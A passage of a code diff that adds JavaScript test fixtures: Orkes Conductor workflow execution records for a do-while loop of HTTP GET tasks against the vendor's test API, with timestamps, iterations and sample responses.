iteration: 5, + subworkflowChanged: false, + queueWaitTime: 68, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__8", + retryCount: 0, + seq: 77, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861178, + startTime: 1713413861247, + endTime: 1713413861257, + updateTime: 1713413861247, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fe0ab5-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5914, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "sccygcowawimarjtitnq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 69, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__9", + retryCount: 0, + seq: 82, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861514, + startTime: 1713413861577, + endTime: 1713413861588, + updateTime: 1713413861577, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99314fba-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 395, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "myxiwwnhjbxhdwkfwmzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 63, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__10", + retryCount: 0, + seq: 87, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861845, + startTime: 1713413861911, + endTime: 1713413861920, + updateTime: 1713413861911, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_6: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__10", + retryCount: 0, + seq: 88, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861927, + startTime: 1713413862022, + endTime: 1713413862033, + updateTime: 1713413862022, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99705490-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__2", + retryCount: 0, + seq: 52, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413859717, + startTime: 1713413859806, + endTime: 1713413859816, + updateTime: 1713413859806, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "981f1c4c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1892, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "heqrbsinaexemndlvmcp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 89, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__3", + retryCount: 0, + seq: 57, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413860044, + startTime: 1713413860138, + endTime: 1713413860150, + updateTime: 1713413860138, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "985101c1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3569, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "rbeetiujrcnurymrqpvl", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__4", + retryCount: 0, + seq: 62, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413860376, + startTime: 1713413860469, + endTime: 1713413860480, + updateTime: 1713413860469, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9883aa86-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7061, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "ixireilwipqxtseivuxm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__5", + retryCount: 0, + seq: 67, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413860709, + startTime: 1713413860803, + endTime: 1713413860813, + updateTime: 1713413860803, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98b67a5b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9316, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "dytnpkdddlzmtzlwfpal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__8", + retryCount: 0, + seq: 78, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861263, + startTime: 1713413861357, + endTime: 1713413861368, + updateTime: 1713413861357, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "990b0306-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2173, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "saxapbpahdmmtpavvjlm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__9", + retryCount: 0, + seq: 83, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861594, + startTime: 1713413861688, + endTime: 1713413861698, + updateTime: 1713413861688, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "993d84bb-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2885, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ykuzzhmdpvfcragcwxoh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__10", + retryCount: 0, + seq: 88, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861927, + startTime: 1713413862022, + endTime: 1713413862033, + updateTime: 1713413862022, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99705490-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_9: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_9", + retryCount: 0, + seq: 90, + pollCount: 1, + taskDefName: "http_9", + scheduledTime: 1713413862163, + startTime: 1713413862244, + endTime: 1713413862258, + updateTime: 1713413862244, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99945752-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2042, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "xwadanvnxdolxjqnchsa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_9", + taskReferenceName: "http_ref_9", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_9", + retryCount: 0, + seq: 90, + pollCount: 1, + taskDefName: "http_9", + scheduledTime: 1713413862163, + startTime: 1713413862244, + endTime: 1713413862258, + updateTime: 1713413862244, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99945752-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2042, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "xwadanvnxdolxjqnchsa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_9", + taskReferenceName: "http_ref_9", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, +}; + +export const doWhileSelectionForStatusMapResultSingleDoWhile = { + http_ref: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http", + scheduledTime: 1713413856786, + startTime: 1713413856891, + endTime: 1713413856963, + updateTime: 1713413856891, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "965fb8d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:36 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8678, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "mmxpwylvytawptmkxykq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, 